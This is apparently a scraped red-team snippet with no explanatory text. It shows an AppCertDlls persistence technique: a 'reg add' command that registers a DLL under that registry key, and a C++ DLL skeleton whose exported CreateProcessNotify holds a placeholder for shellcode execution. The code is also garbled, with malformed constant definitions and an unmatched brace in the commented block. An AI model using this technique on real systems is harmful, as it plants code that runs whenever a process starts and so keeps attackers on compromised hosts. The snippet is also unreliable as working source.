Copy reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls" /V "AppCert" /T REG_EXPAND_SZ /D "c:\executable.dll" /F
Copy #include <ntstatus.h>
#include <windows.h>
#include <stdio.h>
#define APPCERT_IMAGE_OK_TO_RUN 0x 00000001 L
#define APPCERT_CREATION_ALLOWED 0x 00000002 L
#define APPCERT_CREATION_DENIED 0x 00000003 L
extern "C" { __declspec (dllexport) NTSTATUS NTAPI CreateProcessNotify (
LPCWSTR lpApplicationName ,
ULONG uNotifyReason
)
}
NTSTATUS NTAPI CreateProcessNotify (LPCWSTR lpApplicationName , ULONG ulReason) {
NTSTATUS ntStatus = STATUS_SUCCESS;
// implement shellcode execution
return ntStatus;
}
BOOL WINAPI DllMain ( HINSTANCE hinstDLL , DWORD fdwReason , LPVOID lpReserved ) {
switch ( fdwReason ) {
case DLL_PROCESS_ATTACH :
break ;
case DLL_THREAD_ATTACH :
break ;
case DLL_THREAD_DETACH :
break ;
case DLL_PROCESS_DETACH :
break ;
}
return TRUE;
}
/*
switch (uNotifyReason)
{
case APPCERT_IMAGE_OK_TO_RUN:
OutputDebugStringA("APPCERT_IMAGE_OK_TO_RUN");
return STATUS_SUCCESS;
case APPCERT_CREATION_ALLOWED:
OutputDebugStringA("APPCERT_CREATION_ALLOWED");
return STATUS_SUCCESS;
case APPCERT_CREATION_DENIED:
OutputDebugStringA("APPCERT_CREATION_DENIED");
return STATUS_SUCCESS;
default:
OutputDebugStringA("APPCERT_UNKNOWN");
return STATUS_SUCCESS;
}
}
*/